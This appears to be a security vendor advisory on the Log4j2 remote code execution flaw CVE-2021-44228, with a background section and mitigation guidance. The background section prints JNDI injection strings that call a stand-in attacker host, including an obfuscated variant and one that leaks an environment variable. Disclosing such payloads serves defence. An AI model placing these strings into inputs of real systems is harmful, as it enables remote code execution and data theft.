Executive Summary
- A new critical remote code execution vulnerability in Apache Log4j2, a Java-based logging tool, is being tracked as CVE-2021-44228.
- Exploit proof-of-concept code is widely available and internet wide scanning suggests active exploitation.
- At the time of writing, exploit attempts lead to commodity cryptominer payloads. SentinelOne expects further opportunistic abuse by a wide variety of attackers, including ransomware and nation-state actors.
- Major services and applications globally are impacted by the vulnerability due to the prevalence of Log4j2s use in many web apps.
- Due to the ease and rate of exploitation attempts, SentinelOne recommends upgrading impacted services to the latest version of Log4j2.
Background
On December 9th, 2021, the security community became aware of active exploitation attempts of a vulnerability in Apache Log4j 2. The vulnerability in question is trivially easy to exploit and consists of a malformed Java Naming and Directory Interface (JNDI) request of the form ‘${jndi:ldap://attacker.com/file}` (further variations are documented below). It’s difficult to assess the extent of possible impact as Log4j2 is used across a variety of products and services, from Apache products like Struts, Solr, and Flink to security products like ElasticSearch, Logstash, and Kafka, and even Minecraft servers. Defenders are encouraged to update any explicit uses of Log4j 2 to version 2.15.0-rc2 or higher, as well as scrutinize other services that may implicitly rely on it.
As described in the NVD vulnerability disclosure, JNDI features do not protect against requests pointing to attacker-controlled endpoints including LDAP(s), DNS, and RMI requests. The requests poll an attacker endpoint for a file that’s then executed in the context of the Log4j 2 service.
Examples:
${jndi:ldap://<malicious infrastructure>/<payload>}
${jndi:dns://<malicious infrastructure>/<payload>}
${jndi:ldap://${env:<user>}.<malicious infrastructure>/<payload>}
Further variants of the malicious request have been publicly reported and include slight obfuscation with nested functions like ${lower:<letter>} as follows:
${jndi:${lower:l}${lower:d}ap://<malicious infrastructure>/<payload>}
At the time of writing, payloads include cryptominers like Golang-based Kinsing ELF payloads but there’s nothing limiting the potential for abuse as attackers ramp up their infrastructure and tooling to take advantage of this exploitation opportunity.
SentinelOne is actively monitoring the situation and collaborating with industry partners to improve the collective defense of all internet users.
Mitigation Guidance
- Upgrade log4j 2 to the latest version, specifically log4j-2.15.0-rc2 or newer.
- According to Apache’s guidance, in releases >=2.10, this behavior can be mitigated by setting either the system property
log4j2.formatMsgNoLookupsor the environment variableLOG4J_FORMAT_MSG_NO_LOOKUPSto true. For releases from 2.0-beta9 to 2.10.0, the mitigation is to remove the JndiLookup class from the classpath:zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class.
Additional Resources
- Official Mitre CVE description: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
- Community sourced list of impacted applications and services: https://github.com/YfryTchsGD/Log4jAttackSurface
- CISA Alert: https://www.cisa.gov/uscert/ncas/current-activity/2021/12/10/apache-releases-log4j-version-2150-address-critical-rce